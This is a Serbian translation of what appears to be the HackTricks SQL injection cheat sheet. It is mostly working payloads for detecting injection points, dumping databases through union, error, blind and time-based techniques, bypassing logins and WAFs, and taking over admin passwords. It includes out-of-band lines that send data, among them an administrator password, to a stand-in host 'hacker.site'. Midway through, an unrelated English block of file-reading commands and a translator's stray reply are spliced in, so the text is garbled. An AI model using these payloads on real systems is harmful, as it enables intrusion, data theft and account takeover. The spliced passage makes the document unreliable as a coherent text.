SQL Injection

Reading time: 22 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta je SQL injection?

SQL injection je bezbednosna ranjivost koja omogućava napadačima da se mešaju u upite baze podataka aplikacije. Ova ranjivost može omogućiti napadačima da pregledaju, izmene ili obrišu podatke kojima ne bi trebalo da pristupe, uključujući informacije drugih korisnika ili bilo koje podatke kojima aplikacija ima pristup. Takve radnje mogu rezultirati trajnim promenama u funkcionalnosti ili sadržaju aplikacije, pa čak i kompromitacijom servera ili denial of service.

Otkrivanje ulazne tačke

Kada sajt izgleda ranjiv na SQL injection (SQLi) zbog neuobičajenih odgovora servera na unose povezane sa SQLi, prvi korak je da se razume kako da ubacite podatke u upit bez narušavanja njegove strukture. To zahteva identifikovanje metode za efikasno izlazak iz trenutnog konteksta. Evo nekoliko korisnih primera:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Zatim, treba da znaš kako da ispraviš upit da ne bi bilo grešaka. Da bi ispravio upit možeš da ubaciš podatke tako da prethodni upit prihvati nove podatke, ili jednostavno možeš da ubaciš svoje podatke i dodaš simbol za komentar na kraju.

Napomena: ako možeš da vidiš poruke o grešci ili možeš da uočiš razlike kada upit radi i kada ne radi, ova faza će biti lakša.

Komentari

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Potvrđivanje logičkim operacijama

Pouzdan metod za potvrdu SQL injection ranjivosti uključuje izvršavanje logičke operacije i posmatranje očekivanih rezultata. Na primer, GET parametar kao ?username=Peter koji daje isti sadržaj kada se izmeni u ?username=Peter' or '1'='1 ukazuje na SQL injection ranjivost.

Slično tome, primena matematičkih operacija služi kao efikasna tehnika potvrde. Na primer, ako pristupanje ?id=1 i ?id=2-1 daje isti rezultat, to ukazuje na SQL injection.

Primeri koji ilustruju potvrdu logičkim operacijama:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Ova lista reči je napravljena da pokuša da potvrdi SQLinjections na predloženi način:

Pravi SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Potvrđivanje pomoću vremena

U nekim slučajevima nećete primetiti nikakvu promenu na stranici koju testirate. Zato je dobar način da otkrijete blind SQL injections naterati DB da izvrši akcije koje će imati uticaj na vreme potrebno za učitavanje stranice.
Stoga ćemo u SQL query concat-ovati operaciju koja će dugo trajati da se izvrši:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

U nekim slučajevima sleep functions neće biti dozvoljene. Umesto korišćenja tih funkcija možete naterati upit da izvrši složene operacije koje će trajati nekoliko sekundi. Primeri ovih tehnika biće posebno komentarisani za svaku tehnologiju (ako ih ima).

Identifikacija back-enda

Najbolji način da identifikujete back-end je pokušajem izvršavanja funkcija različitih back-enda. Možete koristiti sleep functions iz prethodnog odeljka ili ove (tabela iz payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Takođe, ako imate pristup izlazu upita, možete naterati da ispisuje verziju baze podataka.

tip

U nastavku ćemo razmotriti različite metode za iskorišćavanje različitih tipova SQL Injection. Koristićemo MySQL kao primer.

Identifikovanje uz PortSwigger

SQL injection cheat sheet | Web Security Academy

Eksploatisanje Union Based

Otkrivanje broja kolona

Ako možete da vidite izlaz upita, ovo je najbolji način da ga iskoristite.
Pre svega, treba da otkrijemo broj kolona koje vraća početni zahtev. To je zato što oba upita moraju vratiti isti broj kolona.
Za ovu svrhu se obično koriste dve metode:

Order/Group by

Da biste odredili broj kolona u upitu, postepeno menjajte broj korišćen u ORDER BY ili GROUP BY klauzulama dok se ne dobije neispravan odgovor. Uprkos razlikama u funkcionalnosti GROUP BY i ORDER BY u okviru SQL-a, obe se mogu koristiti na isti način za utvrđivanje broja kolona u upitu.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Select sve više null vrednosti dok upit ne bude ispravan:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Trebalo bi da koristite null vrednosti, jer u nekim slučajevima tipovi kolona sa obe strane upita moraju biti isti, a null je važeći u svakom slučaju.

Izdvajanje imena baza podataka, imena tabela i imena kolona

U sledećim primerima ćemo izvući imena svih baza podataka, ime tabele u bazi i imena kolona u tabeli:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Postoji drugačiji način da se ovi podaci otkriju na svakoj različitoj bazi, ali metodologija je uvek ista.

Iskorišćavanje Hidden Union Based

Kada je izlaz query-ja vidljiv, ali union-based injection izgleda nedostižno, to ukazuje na prisustvo hidden union-based injection. Ovaj scenario često vodi ka blind injection situaciji. Da biste pretvorili blind injection u union-based, potrebno je razotkriti izvršni query na backend-u.

Ovo se može postići upotrebom blind injection tehnika zajedno sa podrazumevanim tabelama specifičnim za vaš ciljani Database Management System (DBMS). Za razumevanje tih podrazumevanih tabela preporučuje se konsultovanje dokumentacije ciljanog DBMS.

Kada se query izdvoji, potrebno je prilagoditi payload tako da bezbedno zatvori originalni query. Nakon toga, union query se dodaje vašem payload-u, omogućavajući eksploataciju novo dostupnog union-based injection.

Za detaljnije informacije, pogledajte ceo članak dostupan na Healing Blind Injections.

Iskorišćavanje Error based

Ako iz nekog razloga ne možete videti izlaz od query-ja, ali možete videti poruke o grešci, možete iskoristiti te poruke da ex-filtrate podatke iz baze.
Prateći sličan tok kao u Union Based exploitation, mogli biste uspeti da dump the DB.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Eksploatisanje Blind SQLi

U ovom slučaju ne možete videti rezultate upita niti greške, ali možete razlikovati kada upit vraća true ili false odgovor jer na stranici postoji različit sadržaj.\
U tom slučaju možete zloupotrebiti to ponašanje da dump the database char by char:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Eksploatacija Error Blind SQLi

Ovo je isti slučaj kao i ranije, ali umesto da razlikujete odgovor true/false koji vraća upit, možete razlikovati da li u SQL upitu postoji error ili ne (možda zato što HTTP server pada). Dakle, u ovom slučaju možete prisiliti SQLerror svaki put kada pravilno pogodite char:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Eksploatacija Time Based SQLi

U ovom slučaju ne postoji nijedan način da se razlikuje odgovor upita na osnovu konteksta stranice. Međutim, možete učiniti da se stranica duže učitava ako je pogođen karakter tačan. Već smo ovu tehniku videli ranije u svrhu confirm a SQLi vuln.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Možete koristiti stacked queries da izvršite više upita uzastopno. Imajte na umu da, iako se naredni upiti izvršavaju, rezultati se ne vraćaju aplikaciji. Dakle, ova tehnika se uglavnom koristi u vezi sa blind vulnerabilities gde možete iskoristiti drugi upit da pokrenete DNS lookup, conditional error, ili time delay.

Oracle doesn't support stacked queries. MySQL, Microsoft and PostgreSQL support them: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Ako nijedan drugi metod eksploatacije nije uspeo, možete pokušati da naterate database ex-filtrate informacije na external host koji kontrolišete. Na primer, putem DNS queries:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Out of band data exfiltration via XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automatizovana eksploatacija

Check the SQLMap Cheatsheet to exploit a SQLi vulnerability with sqlmap.

Informacije specifične za tehnologiju

Već smo diskutovali sve načine za eksploataciju SQL Injection ranjivosti. Pronađite još trikova zavisnih od tehnologije baze podataka u ovoj knjizi:

Ili ćete pronaći mnoštvo trikova vezanih za: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL u https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Lista za pokušaj da se zaobiđe login funkcionalnost:

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Ovaj upit prikazuje ranjivost koja nastaje kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injection. Napadači to mogu iskoristiti tako što će konstruisati ulaze koji, kada se hešuju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injektovani hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Preporučena lista:

Kao korisničko ime koristite svaku liniju iz liste, a kao lozinku uvek: Pass1234.
(Ovi payloads su takođe uključeni u listu navedenu na početku ovog odeljka)

GBK Authentication Bypass

Ako se ' escapuje možete koristiti %A8%27, i kada se ' escapuje biće kreirano: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python skripta:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

Da biste to uradili, pokušajte da create a new object named as the "master object" (verovatno admin u slučaju korisnika) menjajući nešto:

  • Create user named: AdMIn (velika i mala slova)
  • Create a user named: admin=
  • SQL Truncation Attack (when there is some kind of length limit in the username or email) --> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

Ako je baza podatka ranjiva i maksimalan broj karaktera za username je, na primer, 30 i želite da se predstavljate kao korisnik admin, pokušajte da kreirate username nazvan: "admin [30 spaces] a" i bilo koju lozinku.

Baza podataka će proveriti da li uneti username postoji u bazi. Ako ne, ona će skratiti username na maksimalno dozvoljen broj karaktera (u ovom slučaju na: "admin [25 spaces]") i potom će automatski ukloniti sve razmake na kraju ažurirajući u bazi korisnika "admin" sa novom lozinkom (možda će se pojaviti neka greška ali to ne znači da ovo nije uspelo).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Napomena: Ovaj napad više neće raditi kako je gore opisano u najnovijim MySQL instalacijama. Dok poređenja i dalje podrazumevano ignorišu trailing whitespace, pokušaj da se ubaci string koji je duži od dužine polja će rezultirati greškom, i insert će propasti. Za više informacija o ovoj proveri: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Dodajte onoliko ','','' koliko smatrate da je potrebno da izađete iz VALUES statement-a. Ako se delay izvrši, imate SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Klauzula ON DUPLICATE KEY UPDATE u MySQL-u se koristi da specificira radnje koje baza treba da preduzme kada se pokuša ubaciti red koji bi doveo do duplikata vrednosti u UNIQUE index ili PRIMARY KEY. Sledeći primer pokazuje kako se ova funkcionalnost može iskoristiti za izmenu lozinke administratorskog naloga:

Primer Payload injekcije:

Injekcioni payload se može sastaviti na sledeći način, gde se pokušavaju ubaciti dva reda u tabelu users. Prvi red je mamac, a drugi red cilja na email postojećeg administratora sa namerom ažuriranja lozinke:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Ovako to radi:

  • Upit pokušava da ubaci dva reda: jedan za generic_user@example.com i drugi za admin_generic@example.com.
  • Ako red za admin_generic@example.com već postoji, klauzula ON DUPLICATE KEY UPDATE se aktivira i naređuje MySQL-u da ažurira polje password postojećeg reda na "bcrypt_hash_of_newpassword".
  • Posledično, authentication se može pokušati koristeći admin_generic@example.com sa lozinkom koja odgovara bcrypt hash-u ("bcrypt_hash_of_newpassword" predstavlja bcrypt hash nove lozinke, koji treba zameniti stvarnim hash-om željene lozinke).

Ekstrakcija informacija

Kreiranje 2 naloga istovremeno

Prilikom pokušaja kreiranja novog user-a, potrebni su username, password i email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Korišćenje decimalnog ili heksadecimalnog formata

Korišćenjem ove tehnike možete izvući informacije kreirajući samo 1 nalog. Važno je napomenuti da ne morate ništa komentarisati.

Koristeći hex2dec i substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Here are several ways to retrieve the file contents — pick whichever fits your environment:

Unix / macOS:

cat src/pentesting-web/sql-injection/README.md
less src/pentesting-web/sql-injection/README.md
head -n 200 src/pentesting-web/sql-injection/README.md
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
awk 'NR<=200{print}' src/pentesting-web/sql-injection/README.md

Git (show file from current commit/branch):

git show HEAD:src/pentesting-web/sql-injection/README.md

GitHub raw (replace user/repo/branch):

curl -sL https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md
wget -qO- https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md

Windows:

type .\src\pentesting-web\sql-injection\README.md
PowerShell: Get-Content .\src\pentesting-web\sql-injection\README.md

If you prefer, paste the file contents here and I will translate following your rules.

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Koristeći hex i replace (i substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection je situacija u kojoj injektabilni upit nije onaj koji daje izlaz, već izlaz injektabilnog upita ide u upit koji daje izlaz. (From Paper)

Primer:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Početni bypass-ovi su ovde

No spaces bypass

No Space (%20) - bypass koristeći whitespace alternative

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

Nema razmaka - bypass koristeći komentare

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass korišćenjem zagrada

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generička zaobilaženja

Crna lista koristeći ključne reči - zaobilaženje koristeći velika/mala slova

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist koji koristi ključne reči bez obzira na velika/mala slova - zaobilaženje korišćenjem ekvivalentnog operatora

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Detaljnije objašnjenje ovog trika možete pronaći na gosecure blog.
U suštini, možete koristiti naučnu notaciju na neočekivane načine da biste zaobišli WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Zaobilaženje ograničenja imena kolona

Prvo, primetite da ako originalni upit i tabela iz koje želite da izvučete flag imaju isti broj kolona možete jednostavno uraditi: 0 UNION SELECT * FROM flag

Moguće je pristupiti trećoj koloni tabele bez korišćenja njenog imena koristeći upit kao sledeći: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, tako da bi u sqlinjection ovo izgledalo ovako:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ili koristeći comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Ovaj trik je preuzet sa https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Ako se korisnički unos konkatenira u SELECT listu ili u identifikatore tabela/kolona, prepared statements neće pomoći zato što bind parameters štite samo vrednosti, a ne identifikatore. Čest ranjiv obrazac je:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Ideja za eksploataciju: inject a subquery into the field position to exfiltrate arbitrary data:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Napomene:

  • Ovo funkcioniše čak i kada WHERE clause koristi bound parameter, jer je lista identifikatora i dalje konkatenirana kao string.
  • Neki stackovi dodatno omogućavaju kontrolu imena tabele (tablename injection), omogućavajući čitanje podataka iz više tabela.
  • Output sinks mogu da reflektuju izabranu vrednost u HTML/JSON, čime se omogućava XSS ili token exfiltration direktno iz odgovora.

Mitigacije:

  • Nikada ne konkatenirajte identifikatore iz korisničkog inputa. Mapirajte dozvoljena imena kolona na fiksnu allow-listu i pravilno quote-ujte identifikatore.
  • Ako je potreban dinamički pristup tabelama, ograničite ga na konačan skup i rešavajte na serverskoj strani pomoću bezbednog mapiranja.

WAF bypass suggester tools

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Ostali vodiči

Brute-Force lista za detekciju

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks